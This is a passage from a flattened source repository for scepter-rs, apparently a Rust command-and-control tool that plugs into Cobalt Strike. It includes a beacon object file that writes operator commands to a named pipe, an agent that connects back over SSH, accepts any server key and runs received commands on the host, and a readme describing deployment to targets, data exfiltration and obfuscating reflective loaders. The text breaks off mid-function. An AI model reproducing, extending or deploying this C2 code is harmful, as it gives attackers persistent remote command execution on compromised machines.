rtlDosPathNameToNtPathNameUWithStatusAddr; 333 | PVOID rtlFreeHeapAddr; 334 | PVOID rtlGetProcessHeapAddr; 335 | } RTL_API, *PRTL_API; 336 | 337 | /* Updated in version 4.11 to use the entire structure instead of pointers to the structure. 338 | * This allows for retrieving a copy of the information which would be under the BOF's 339 | * control instead of a reference pointer which may be obfuscated when beacon is sleeping. 340 | */ 341 | typedef struct 342 | { 343 | SYSCALL_API syscalls; 344 | RTL_API rtls; 345 | } BEACON_SYSCALLS, *PBEACON_SYSCALLS; 346 | 347 | /* Updated in version 4.11 to include the size of the info pointer, which equals sizeof(BEACON_SYSCALLS) */ 348 | DECLSPEC_IMPORT BOOL BeaconGetSyscallInformation(PBEACON_SYSCALLS info, SIZE_T infoSize, BOOL resolveIfNotInitialized); 349 | 350 | /* Beacon System call functions which will use the current system call method */ 351 | DECLSPEC_IMPORT LPVOID BeaconVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); 352 | DECLSPEC_IMPORT LPVOID BeaconVirtualAllocEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); 353 | DECLSPEC_IMPORT BOOL BeaconVirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); 354 | DECLSPEC_IMPORT BOOL BeaconVirtualProtectEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); 355 | DECLSPEC_IMPORT BOOL BeaconVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); 356 | DECLSPEC_IMPORT BOOL BeaconGetThreadContext(HANDLE threadHandle, PCONTEXT threadContext); 357 | DECLSPEC_IMPORT BOOL BeaconSetThreadContext(HANDLE threadHandle, PCONTEXT threadContext); 358 | DECLSPEC_IMPORT DWORD BeaconResumeThread(HANDLE threadHandle); 359 | DECLSPEC_IMPORT HANDLE BeaconOpenProcess(DWORD desiredAccess, BOOL inheritHandle, DWORD processId); 360 | DECLSPEC_IMPORT HANDLE BeaconOpenThread(DWORD desiredAccess, BOOL inheritHandle, DWORD threadId); 361 | DECLSPEC_IMPORT BOOL BeaconCloseHandle(HANDLE object); 362 | DECLSPEC_IMPORT BOOL BeaconUnmapViewOfFile(LPCVOID baseAddress); 363 | DECLSPEC_IMPORT SIZE_T BeaconVirtualQuery(LPCVOID address, PMEMORY_BASIC_INFORMATION buffer, SIZE_T length); 364 | DECLSPEC_IMPORT BOOL BeaconDuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions); 365 | DECLSPEC_IMPORT BOOL BeaconReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead); 366 | DECLSPEC_IMPORT BOOL BeaconWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten); 367 | 368 | /* Beacon Gate APIs */ 369 | DECLSPEC_IMPORT VOID BeaconDisableBeaconGate(); 370 | DECLSPEC_IMPORT VOID BeaconEnableBeaconGate(); 371 | 372 | DECLSPEC_IMPORT VOID BeaconDisableBeaconGateMasking(); 373 | DECLSPEC_IMPORT VOID BeaconEnableBeaconGateMasking(); 374 | 375 | /* Beacon User Data 376 | * 377 | * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch 378 | * e.g. 0x040900 -> CS 4.9 379 | * 0x041000 -> CS 4.10 380 | */ 381 | 382 | #define DLL_BEACON_USER_DATA 0x0d 383 | #define BEACON_USER_DATA_CUSTOM_SIZE 32 384 | typedef struct 385 | { 386 | unsigned int version; 387 | PSYSCALL_API syscalls; 388 | char custom[BEACON_USER_DATA_CUSTOM_SIZE]; 389 | PRTL_API rtls; 390 | PALLOCATED_MEMORY allocatedMemory; 391 | } USER_DATA, * PUSER_DATA; 392 | 393 | #ifdef __cplusplus 394 | } 395 | #endif // __cplusplus 396 | #endif // _BEACON_H_ -------------------------------------------------------------------------------- /bof-write-pipe/bof.c: -------------------------------------------------------------------------------- 1 | /* This BOF is responsible to writing to the pipe that scepter-server is listening on. 2 | * This mechanism is what allows user inputs from the Beacon console to be passed to the 3 | * server, and the server then forwards these inputs to connect agent(s). 4 | */ 5 | 6 | #include 7 | #include "beacon.h" 8 | // Real pipe name is stomped in by cna 9 | static const char pipename[] = "\\\\.\\pipe\\INPUT_PIPE_NAME_NO_CHANGE_PLS\0\0\0\0"; 10 | 11 | WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileA( 12 | LPCSTR lpFileName, 13 | DWORD dwDesiredAccess, 14 | DWORD dwShareMode, 15 | LPSECURITY_ATTRIBUTES lpSecurityAttributes, 16 | DWORD dwCreationDisposition, 17 | DWORD dwFlagsAndAttributes, 18 | HANDLE hTemplateFile 19 | ); 20 | 21 | WINBASEAPI BOOL WINAPI KERNEL32$CloseHandle( 22 | HANDLE hObject 23 | ); 24 | 25 | WINBASEAPI BOOL WINAPI KERNEL32$WriteFile( 26 | HANDLE hFile, 27 | LPCVOID lpBuffer, 28 | DWORD nNumberOfBytesToWrite, 29 | LPDWORD lpNumberOfBytesWritten, 30 | LPOVERLAPPED lpOverlapped 31 | ); 32 | 33 | WINBASEAPI DWORD WINAPI KERNEL32$GetLastError(VOID); 34 | 35 | #define CreateFileA KERNEL32$CreateFileA 36 | #define CloseHandle KERNEL32$CloseHandle 37 | #define WriteFile KERNEL32$WriteFile 38 | #define GetLastError KERNEL32$GetLastError 39 | 40 | void WriteToNamedPipe(char* buffer, DWORD buffer_size) { 41 | 42 | HANDLE hPipe = CreateFileA( 43 | pipename, // pipe name 44 | GENERIC_WRITE, // write access 45 | 0, // no sharing 46 | NULL, // default security attributes 47 | OPEN_EXISTING, // opens existing pipe 48 | 0, // default attributes 49 | NULL); // no template file 50 | 51 | if (hPipe == INVALID_HANDLE_VALUE) { 52 | BeaconPrintf(CALLBACK_ERROR, "Failed to connect to pipe. Error: %lu\n", GetLastError()); 53 | return; 54 | } 55 | 56 | DWORD bytesWritten = 0; 57 | BOOL success = WriteFile( 58 | hPipe, // handle to pipe 59 | buffer, // buffer to write 60 | buffer_size, // size of buffer 61 | &bytesWritten, // number of bytes written 62 | NULL); // not overlapped I/O 63 | 64 | if (!success || bytesWritten != buffer_size) { 65 | BeaconPrintf(CALLBACK_ERROR, "Failed to write to pipe. Error: %lu\n", GetLastError()); 66 | } 67 | 68 | CloseHandle(hPipe); 69 | } 70 | 71 | void go(char* args, int len) { 72 | char* data; 73 | int dataLen; 74 | datap parser; 75 | 76 | // Get the contents of the named pipe 77 | BeaconDataParse(&parser, args, len); 78 | data = BeaconDataExtract(&parser, &dataLen); 79 | 80 | // Send the data to the named pipe 81 | WriteToNamedPipe(data, dataLen); 82 | 83 | BeaconPrintf(CALLBACK_OUTPUT, "Sent command: %s", data); 84 | } 85 | -------------------------------------------------------------------------------- /img.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xTriboulet/scepter-rs/f31503fa37505d7acd587749952f146c1640a749/img.png -------------------------------------------------------------------------------- /img_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xTriboulet/scepter-rs/f31503fa37505d7acd587749952f146c1640a749/img_1.png -------------------------------------------------------------------------------- /img_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xTriboulet/scepter-rs/f31503fa37505d7acd587749952f146c1640a749/img_2.png -------------------------------------------------------------------------------- /img_3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xTriboulet/scepter-rs/f31503fa37505d7acd587749952f146c1640a749/img_3.png -------------------------------------------------------------------------------- /img_4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xTriboulet/scepter-rs/f31503fa37505d7acd587749952f146c1640a749/img_4.png -------------------------------------------------------------------------------- /out/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xTriboulet/scepter-rs/f31503fa37505d7acd587749952f146c1640a749/out/.gitkeep -------------------------------------------------------------------------------- /out/aarch64/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xTriboulet/scepter-rs/f31503fa37505d7acd587749952f146c1640a749/out/aarch64/.gitkeep -------------------------------------------------------------------------------- /out/x64/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xTriboulet/scepter-rs/f31503fa37505d7acd587749952f146c1640a749/out/x64/.gitkeep -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | # scepter-rs 2 | 3 | A Rust-based server-agent Command-and-Control designed to maximize compatability with non-standard devices. `scepter-rs` provides a minimal command and control interface that can be leveraged from [your favorite C2 framework](https://www.cobaltstrike.com/). 4 | 5 | Based on [rdll-rs](https://github.com/0xTriboulet/rdll-rs) and similar in design to [rssh-rs](https://github.com/0xTriboulet/rssh-rs/tree/master), this project enables external capability to be deployed from a Beacon console, effectively providing (*very*) primitive support for 3rd-party SSH pivot agents from an existing Beacon session. Unlike `rssh-rs`, `scepter-rs` inverts the communication relationship and stands up an SSH server on the Beacon-side of communications, increasing the potential for SSH client-side customization. 6 | 7 | ![img_4.png](img_4.png) 8 | 9 | ## Project Components 10 | 11 | - **scepter-server**: The command server that manages connections and facilitates communication with agents 12 | - **scepter-agent**: The client-side agent that executes commands on target systems 13 | - **scepter-common**: Shared code and utilities used by both server and agent components 14 | - **bof-write-pipe**: Utility for writing to communication pipes 15 | - **xtask**: Custom build scripts and development tools 16 | 17 | ## Features 18 | 19 | - Cross-platform support for various operating systems 20 | - Encrypted communications between server and agents 21 | - Integration with Cobalt Strike via Aggressor scripts (.cna) 22 | - Customizable command execution and data exfiltration 23 | 24 | ## Getting Started 25 | 26 | ### Prerequisites 27 | 28 | - Rust toolchain (specified in rust-toolchain.toml) 29 | - Cargo package manager 30 | - [pe2shc](https://github.com/hasherezade/pe_to_shellcode/tree/master) 31 | - [cargo-zigbuild](https://github.com/rust-cross/cargo-zigbuild) 32 | 33 | ### Building from Source 34 | The project uses a workspace structure to manage multiple related crates. The `xtask` crate provides custom build commands. 35 | 36 | 1. Clone the repository: 37 | ```bash 38 | git clone https://github.com/yourusername/scepter-rs.git 39 | cd scepter-rs 40 | ``` 41 | 2. Run the `xtask` 42 | ```bash 43 | cargo run --bin xtask --release 44 | ``` 45 | **Note: Apple aarch64 and x64 were manually built due to shortfalls in cargo-zigbuild's compatibility on Windows environments. The command above will NOT rebuild the Apple binaries.** 46 | 47 | 48 | ### Usage 49 | 50 | #### Agent Deployment 51 | 52 | Agents can be compiled for a variety of platforms. `scepter-rs.cna` stomps in connection information provided in the `.cna` as well as from the Beacon console as necessary. The `scepter_server` is initialized via the `scepter-init` command in a Beacon console. 53 | 54 | This project contains (untested/experimental) pre-built Agent binaries in the `bins/` folder, supporting: 55 | - Windows x64 (tested) 56 | - Windows aarch64 57 | - Linux x64 58 | - Linux aarch64 (tested) 59 | - Apple x64 60 | - Apple aarch64 61 | 62 | Static pre-built binaries, and binaries built from source will be placed in the `bin/` directory. Do not modify those binaries unless you're confident in what you're doing. Those binaries are used as the baseline to allow changes to be driven from the `.cna`. You can get very far with customization from the command-line and the `scepter-rs.cna`. 63 | 64 | #### Cobalt Strike Integration 65 | 66 | The included `scepter-rs.cna` script provides integration with Cobalt Strike: 67 | 68 | ![img_2.png](img_2.png) 69 | 70 | 1. Load the script in your Cobalt Strike client 71 | 2. Initialize the scepter-server with the `scepter-init` command. 72 | ```bash 73 | beacon> help scepter-init 74 | scepter-init 75 | ex: scepter-init 192.0.0.1 2222 my_username my_password 12345 76 | ``` 77 | 3. The compiled binaries will be available in the `out/` directory. 78 | 4. Copy a binary from `out/` to the target system via some other means. 79 | 5. Run the binary on the target system. 80 | 6. Run commands via `ssh-exec` 81 | ```bash 82 | beacon> help scepter-exec 83 | scepter-exec 84 | ex:scepter-exec whoami 85 | ``` 86 | ![img_3.png](img_3.png) 87 | #### Scepter Commands 88 | `scepter-rs` Provide various commands from the `scepter-rs.cna` that are accessible from the Beacon console for ease of use. 89 | ```bash 90 | scepter-exec (64-bit only) Uses a bof to write a command to a pipe that is read by a user implemented reflective DLL and sent to the ssh target. 91 | scepter-exit (64-bit only) Uses a bof to write the exit command to a pipe that is read by a user implemented reflective DLL. SSH Server exits. 92 | scepter-generate-agents (64-bit only) Builds Agent binaries with configuration specified in .cna without starting the SSH Scepter Server. 93 | scepter-init (64-bit only) Initializes RDLL and BOF to start SSH Scepter Server on the target host, and builds Agents for use. 94 | ``` 95 | 96 | 97 | #### Applying Other Reflective Loaders 98 | 99 | For proof-of-concept functionality, `scepter-rs` applies `pe2shc`'s reflective loader to `scepter_server.windows.x64.dll` -> `scepter_server.shc.windows.x64.dll`. However, one of the really cool capabilities of `pe2shc` is that the output PE retains all functionality of the original. This means that you can apply your own "obfuscation"-enabled reflective loader on-top without any negative effects at run time. 100 | ![img.png](img.png) 101 | 102 | To facilitate using additional/alternative reflective loaders, `scepter_server.windows.x64.dll` exports `dll_start` as an alternate entry point for loaders that allow for the specification of entry points (for example Donut's `--function` option). 103 | 104 | ![img_1.png](img_1.png) 105 | 106 | This capability is theoretical and untested. Feedback is welcome. 107 | 108 | ## ToDo 109 | - BOF support for Windows/Linux 110 | - Refactor the code a bit (it's a mess) 111 | - Unit tests :D 112 | - More pre-built Agents??? 113 | 114 | ## License 115 | MIT or Apache 2.0. -------------------------------------------------------------------------------- /rust-toolchain.toml: -------------------------------------------------------------------------------- 1 | [toolchain] 2 | channel = "nightly" 3 | targets = ["x86_64-pc-windows-gnu"] 4 | profile = "complete" -------------------------------------------------------------------------------- /scepter-agent/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "scepter-agent" 3 | version = "0.1.0" 4 | edition = "2024" 5 | 6 | [lib] 7 | name = "scepter_agent" 8 | crate-type = ["cdylib", "rlib"] 9 | path = "src/lib.rs" 10 | 11 | [[bin]] 12 | name = "scepter-agent" 13 | path = "src/main.rs" 14 | 15 | [profile.release] 16 | strip = "symbols" 17 | panic = "abort" 18 | opt-level = "z" 19 | codegen-units = 1 20 | lto = true 21 | 22 | [dependencies] 23 | scepter-common = { path = "../scepter-common" } 24 | russh = "0.52.1" 25 | tokio = "1.45.0" 26 | windows-sys = "0.59.0" 27 | debug_print = "1.0.0" 28 | -------------------------------------------------------------------------------- /scepter-agent/src/lib.rs: -------------------------------------------------------------------------------- 1 | #![no_main] 2 | #![allow(dead_code)] 3 | 4 | use debug_print::debug_println; 5 | use russh::keys::*; 6 | use russh::*; 7 | use scepter_common::{PASSWORD, SSH_CONNECT_IPV4_ADDRESS, SSH_PORT, USERNAME}; 8 | use std::io; 9 | use std::io::Write; 10 | use std::os::raw::c_void; 11 | use std::process::{Command, exit}; 12 | use std::sync::Arc; 13 | 14 | #[cfg(target_os = "windows")] 15 | use windows_sys::Win32::Foundation::{BOOL, HANDLE}; 16 | 17 | struct Client {} 18 | impl client::Handler for Client { 19 | type Error = russh::Error; 20 | async fn check_server_key( 21 | &mut self, 22 | _server_public_key: &ssh_key::PublicKey, 23 | ) -> Result { 24 | Ok(true) 25 | } 26 | } 27 | 28 | pub struct Session { 29 | session: client::Handle, 30 | } 31 | 32 | impl Session { 33 | async fn call(&mut self, command: &str) -> tokio::io::Result { 34 | let mut channel = self.session.channel_open_session().await.unwrap(); 35 | channel.exec(true, command).await.unwrap(); 36 | 37 | let mut code = None; 38 | let mut stdout = std::io::stdout(); 39 | 40 | loop { 41 | // There's an event available on the session channel 42 | let Some(msg) = channel.wait().await else { 43 | break; 44 | }; 45 | match msg { 46 | // Write data to the terminal 47 | ChannelMsg::Data { ref data } => { 48 | stdout.write_all(data).unwrap(); 49 | stdout.flush().unwrap(); 50 | } 51 | // The command has returned an exit code 52 | ChannelMsg::ExitStatus { exit_status } => { 53 | code = Some(exit_status); 54 | // cannot leave the loop immediately, there might still be more data to receive 55 | } 56 | _ => {} 57 | } 58 | } 59 | Ok(code.expect("")) 60 | } 61 | } 62 | 63 | // TODO 64 | pub fn run_bof(bof: String) { 65 | unimplemented!() 66 | } 67 | 68 | pub fn run_command(command: &str) -> Result { 69 | let mut cmd = String::new(); 70 | let mut bof = String::new(); 71 | 72 | // Check for cmd prefix 73 | if command.starts_with("cmd:") { 74 | cmd = command.replace("cmd:", ""); 75 | } 76 | 77 | // Check for bof prefix 78 | if command.starts_with("bof: ") { 79 | bof = command.replace("bof: ", ""); 80 | run_bof(bof); 81 | } 82 | 83 | // Handle the exit command specially 84 | if cmd.starts_with("exit") { 85 | debug_println!("Exiting..."); 86 | exit(0); 87 | } 88 | 89 | // For other commands, parse into program and arguments 90 | let parts: Vec<&str> = cmd.split_whitespace().collect(); 91 | if parts.is_empty() { 92 | return Err(std::io::Error::new( 93 | io::ErrorKind::InvalidInput, 94 | "Empty command", 95 | )); 96 | } 97 | 98 | let program = parts[0]; 99 | let args = &parts[1..]; 100 | 101 | // Create and execute the cmd, capturing output 102 | let output = Command::new(program).args(args).output()?; 103 | 104 | // Check if the command executed successfully 105 | if output.status.success() { 106 | // Convert the output to a string and return it 107 | let stdout = String::from_utf8_lossy(&output.stdout).to_string(); 108 | Ok(stdout) 109 | } else { 110 | // If the command failed, return the error message 111 | let stderr = String::from_utf8_lossy(&output.stderr).to_string(); 112 | Err(std::io::Error::new( 113 | io::ErrorKind::Other, 114 | format!("Command failed: {}", stderr), 115 | )) 116 | } 117 | } 118 | 119 | pub async fn dll_main() { 120 | let config = russh::client::Config::default(); 121 | let config = Arc::new(config); 122 | let sh = Client {}; 123 | debug_println!("dll_main"); 124 | 125 | let ssh_server_ip = String::from_utf8_lossy(SSH_CONNECT_IPV4_ADDRESS) 126 | .to_string() 127 | .trim_matches(char::from(0)) 128 | .to_string(); 129 | let ssh_port = String::from_utf8_lossy(SSH_PORT) 130 | .to_string() 131 | .trim_matches(char::from(0)) 132 | .to_string(); 133 | let addrs = format!("{}:{}", ssh_server_ip, ssh_port); 134 | 135 | debug_println!("Connecting to {}", addrs); 136 | 137 | match client::connect(config, addrs, sh).await { 138 | Ok(mut session) => { 139 | let username = String::from_utf8_lossy(USERNAME) 140 | .to_string() 141 | .trim_matches(char::from(0)) 142 | .to_string(); 143 | let password = String::from_utf8_lossy(PASSWORD) 144 | .to_string() 145 | .trim_matches(char::from(0)) 146 | .to_string(); 147 | 148 | debug_println!( 149 | "Authenticating with username {} and password {}", 150 | username, 151 | password 152 | ); 153 | 154 | // Authenticate with password 155 | let auth_result = session.authenticate_password(username, password).await; 156 | 157 | match auth_result { 158 | Ok(auth) => { 159 | if auth.success() { 160 | debug_println!("Authentication successful"); 161 | 162 | // After successful authentication, open a session channel using the session handle 163 | match session.channel_open_session().await { 164 | Ok(mut channel) => { 165 | debug_println!("Session channel opened"); 166 | 167 | // Request a shell - this is crucial for receiving ongoing data 168 | match channel.request_shell(true).await { 169 | Ok(_) => { 170 | debug_println!( 171 | "Shell session established, waiting for messages..." 172 | ); 173 | 174 | // Wait for messages from the server 175 | loop { 176 | match channel.wait().await { 177 | Some(ChannelMsg::Data { ref data }) => { 178 | let input = String::from_utf8_lossy(data); 179 | debug_println!( 180 | "Server message: {}", 181 | String::from_utf8_lossy(data) 182 | ); 183 | let _ = match run_command(&*input) { 184 | Ok(output) => { 185 | debug_println!("{}", output); 186 | // Use the data method provided by the russh library: 187 | session 188 | .data( 189 | channel.id(), 190 | CryptoVec::from( 191 | output.as_bytes(), 192 | ), 193 | ) 194 | .await 195 | .unwrap(); 196 | } 197 | Err(e) => { 198 | debug_println!("Error: {}", e); 199 | // Use the data method provided by the russh library: 200 | session 201 | .data( 202 | channel.id(), 203 | CryptoVec::from( 204 | e.to_string().as_bytes(), 205 | ), 206 | ) 207 | .await 208 | .unwrap(); 209 | } 210 | }; 211 | } 212 | Some(ChannelMsg::ExtendedData { 213 | ref data, .. 214 | }) => { 215 | debug_println!( 216 | "Server extended data: {}", 217 | String::from_utf8_lossy(data) 218 | ); 219 | } 220 | Some(ChannelMsg::Eof) => { 221 | debug_println!( 222 | "Server closed the connection (EOF)" 223 | ); 224 | break; 225 | } 226 | Some(ChannelMsg::ExitStatus { exit_status }) => { 227 | debug_println!( 228 | "Server session exited with status: {}", 229 | exit_status 230 | ); 231 | break; 232 | } 233 | Some(other) => { 234 | debug_println!( 235 | "Other message from server: {:?}", 236 | other 237 | ); 238 | } 239 | None => { 240 | debug_println!("Channel closed unexpectedly"); 241 | break; 242 | } 243 | } 244 | } 245 | } 246 | Err(e) => { 247 | debug_println!("Failed to request shell: {}", e); 248 | } 249 | } 250 | } 251 | Err(e) => { 252 | debug_println!("Failed to open session channel: {}", e); 253 | } 254 | } 255 | } else { 256 | debug_println!("Authentication failed"); 257 | } 258 | } 259 | Err(e) => { 260 | debug_println!("Authentication error: {}", e); 261 | } 262 | } 263 | } 264 | Err(e) => { 265 | debug_println!("Connection error: {}", e); 266 | } 267 | } 268 | 269 | debug_println!("Connection closed"); 270 | } 271 | 272 | #[cfg(target_os = "windows")] 273 | #[unsafe(no_mangle)] 274 | #[allow(non_snake_case, unused_variables, unreachable_patterns)] 275 | pub unsafe extern "system" fn DllMain( 276 | dll_module: HANDLE, 277 | call_reason: u32, 278 | reserved: *mut c_void, 279 | ) -> BOOL { 280 | match call_reason { 281 | DLL_PROCESS_ATTACH => { 282 | // Code to run when the DLL is loaded into a process 283 | // Initialize resources, etc. 284 | dll_main(); 285 | } 286 | DLL_THREAD_ATTACH => { 287 | // Code to run when a new thread is created in the process 288 | } 289 | DLL_THREAD_DETACH => { 290 | // Code to run when a thread exits cleanly 291 | } 292 | DLL_PROCESS_DETACH => { 293 | // Code to run when the DLL is unloaded from the process 294 | // Clean up resources, etc. 295 | } 296 | _ => {} 297 | } 298 | return 1; 299 | } 300 | -------------------------------------------------------------------------------- /scepter-agent/src/main.rs: -------------------------------------------------------------------------------- 1 | #![feature(stmt_expr_attributes)] 2 | mod lib; 3 | use lib::dll_main; // This will import everything public from lib.rs 4 | 5 | #[tokio::main] 6 | async fn main() { 7 | dll_main().await; 8 | } 9 | -------------------------------------------------------------------------------- /scepter-common/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "scepter-common" 3 | version = "0.1.0" 4 | edition = "2024" 5 | 6 | [dependencies] 7 | windows-sys = {version = "0.59.0", features = ["default", "Win32_System_Pipes", "Win32_System_IO", "Win32_Storage_FileSystem", "Win32_Security", "Win32_Storage_FileSystem"]} 8 | debug_print = "1.0.0" -------------------------------------------------------------------------------- /scepter-common/src/lib.rs: -------------------------------------------------------------------------------- 1 | pub mod pipe; 2 | 3 | /// Placeholder strings get stomped in by CNA in release mode 4 | #[cfg(not(debug_assertions))] 5 | pub static USERNAME: &[u8; 65] = 6 | b"_________PLACEHOLDER_USERNAME_STRING_PLS_DO_NOT_CHANGE__________\0"; 7 | #[cfg(not(debug_assertions))] 8 | pub static PASSWORD: &[u8; 65] = 9 | b"_________PLACEHOLDER_PASSWORD_STRING_PLS_DO_NOT_CHANGE__________\0"; 10 | 11 | #[cfg(not(debug_assertions))] 12 | pub static SSH_INTERFACE_IPV4_ADDRESS: &[u8; 20] = b"999.999.999.999\0\0\0\0\0"; 13 | #[cfg(not(debug_assertions))] 14 | pub static SSH_CONNECT_IPV4_ADDRESS: &[u8; 20] = b"888.888.888.888\0\0\0\0\0"; 15 | #[cfg(not(debug_assertions))] 16 | pub static SSH_PORT: &[u8; 20] = b"99999\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"; 17 | 18 | #[cfg(debug_assertions)] 19 | pub static USERNAME: &[u8; 10] = b"username\0\0"; 20 | #[cfg(debug_assertions)] 21 | pub static PASSWORD: &[u8; 10] = b"password\0\0"; 22 | 23 | #[cfg(debug_assertions)] 24 | pub static SSH_INTERFACE_IPV4_ADDRESS: &[u8; 20] = b"0.0.0.0\0\0\0\0\0\0\0\0\0\0\0\0\0"; 25 | #[cfg(debug_assertions)] 26 | pub static SSH_CONNECT_IPV4_ADDRESS: &[u8; 20] = b"192.168.0.127\0\0\0\0\0\0\0"; 27 | 28 | #[cfg(debug_assertions)] 29 | pub static SSH_PORT: &[u8; 20] = b"2222\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"; 30 | -------------------------------------------------------------------------------- /scepter-common/src/pipe.rs: -------------------------------------------------------------------------------- 1 | #![allow(unused_imports)] 2 | use debug_print::debug_println; 3 | use std::ffi::CString; 4 | use std::ptr; 5 | use std::ptr::null_mut; 6 | use windows_sys::Win32::Foundation::{ 7 | CloseHandle, ERROR_PIPE_CONNECTED, GetLastError, HANDLE, INVALID_HANDLE_VALUE, 8 | }; 9 | use windows_sys::Win32::Storage::FileSystem::{ 10 | FlushFileBuffers, PIPE_ACCESS_DUPLEX, PIPE_ACCESS_INBOUND, ReadFile, WriteFile, 11 | }; 12 | use windows_sys::Win32::System::Pipes::{ 13 | ConnectNamedPipe, CreateNamedPipeA, DisconnectNamedPipe, PIPE_READMODE_MESSAGE, PIPE_TYPE_BYTE, 14 | PIPE_TYPE_MESSAGE, PeekNamedPipe, 15 | }; 16 | 17 | pub const MAX_PIPE_BUFFER_SIZE: usize = 4096; 18 | 19 | // PIPE NAMES ARE STOMPED IN BY .CNA 20 | pub static OUTPUT_PIPE_NAME: &[u8; 42] = b"\\\\.\\pipe\\OUTPUT_PIPE_NAME_NO_CHANGE_PLS\0\0\0"; 21 | pub static INPUT_PIPE_NAME: &[u8; 42] = b"\\\\.\\pipe\\INPUT_PIPE_NAME_NO_CHANGE_PLS\0\0\0\0"; 22 | 23 | pub fn read_input(h_input_pipe: HANDLE) -> Option { 24 | let mut dyn_buffer = Box::new(vec![0u8; MAX_PIPE_BUFFER_SIZE as usize]); 25 | let mut bytes_read: u32 = 0; 26 | 27 | // Check if client is still connected 28 | let mut bytes_available: u32 = 0; 29 | let peek_result = unsafe { 30 | PeekNamedPipe( 31 | h_input_pipe, 32 | null_mut(), 33 | 0, 34 | null_mut(), 35 | &mut bytes_available, 36 | null_mut(), 37 | ) 38 | }; 39 | 40 | // If pipe is broken/disconnected, wait for new connection 41 | if peek_result == 0 { 42 | unsafe { 43 | DisconnectNamedPipe(h_input_pipe); 44 | ConnectNamedPipe(h_input_pipe, null_mut()); 45 | } 46 | return None; 47 | } 48 | 49 | // Only try to read if there's data available 50 | if bytes_available > 0 { 51 | let read_result = unsafe { 52 | ReadFile( 53 | h_input_pipe, 54 | dyn_buffer.as_ptr() as *mut u8, 55 | MAX_PIPE_BUFFER_SIZE as u32, 56 | &mut bytes_read, 57 | std::ptr::null_mut(), 58 | ) 59 | }; 60 | 61 | if read_result > 0 && bytes_read > 0 { 62 | return String::from_utf8(dyn_buffer[..bytes_read as usize].to_vec()) 63 | .ok() 64 | .map(|s| s.trim().to_string()); 65 | } 66 | } 67 | 68 | None 69 | } 70 | 71 | pub fn initialize_input_pipe() -> Option { 72 | let pipe_name = String::from_utf8_lossy(&*INPUT_PIPE_NAME); 73 | debug_println!("Pipe name: {}", pipe_name); 74 | let h_pipe = unsafe { 75 | CreateNamedPipeA( 76 | pipe_name.as_ptr() as *const u8, 77 | PIPE_ACCESS_INBOUND, 78 | PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE, 79 | 1, 80 | MAX_PIPE_BUFFER_SIZE as u32, 81 | MAX_PIPE_BUFFER_SIZE as u32, 82 | 0, 83 | std::ptr::null_mut(), 84 | ) 85 | }; 86 | 87 | if h_pipe == INVALID_HANDLE_VALUE { 88 | let err = unsafe { GetLastError() }; 89 | debug_println!("CreateNamedPipe failed: {}", err); 90 | return None; 91 | } 92 | 93 | // Wait for client connection 94 | let connected = unsafe { ConnectNamedPipe(h_pipe, std::ptr::null_mut()) }; 95 | if connected == 0 { 96 | let err = unsafe { GetLastError() }; 97 | if err != ERROR_PIPE_CONNECTED { 98 | debug_println!("ConnectNamedPipe failed: {}", err); 99 | unsafe { CloseHandle(h_pipe) }; 100 | return None; 101 | } 102 | } 103 | 104 | return Some(h_pipe); 105 | } 106 | 107 | pub fn initialize_output_pipe() -> Option { 108 | let pipe_name = String::from_utf8_lossy(&*OUTPUT_PIPE_NAME); 109 | debug_println!("Pipe name: {}", pipe_name); 110 | let h_pipe = unsafe { 111 | CreateNamedPipeA( 112 | pipe_name.as_ptr() as *const u8, 113 | PIPE_ACCESS_DUPLEX, 114 | PIPE_TYPE_BYTE, 115 | 1, 116 | MAX_PIPE_BUFFER_SIZE as u32, 117 | MAX_PIPE_BUFFER_SIZE as u32, 118 | 0, 119 | std::ptr::null_mut(), 120 | ) 121 | }; 122 | 123 | if h_pipe == INVALID_HANDLE_VALUE { 124 | let err = unsafe { GetLastError() }; 125 | debug_println!("CreateNamedPipe failed: {}", err); 126 | return None; 127 | } 128 | 129 | Some(h_pipe) 130 | } 131 | 132 | #[cfg(not(debug_assertions))] 133 | pub fn write_output(h_output_pipe: HANDLE, data: &str) { 134 | let message = data.as_bytes(); 135 | let mut bytes_written: u32 = 0; 136 | 137 | let connected = unsafe { ConnectNamedPipe(h_output_pipe, std::ptr::null_mut()) }; 138 | if connected == 0 { 139 | let err = unsafe { GetLastError() }; 140 | if err != ERROR_PIPE_CONNECTED { 141 | debug_println!("ConnectNamedPipe failed: {}", err); 142 | unsafe { CloseHandle(h_output_pipe) }; 143 | return; 144 | } 145 | } 146 | 147 | debug_println!("[+] Beacon connected! Sending message..."); 148 | 149 | let success = unsafe { 150 | WriteFile( 151 | h_output_pipe, 152 | message.as_ptr(), 153 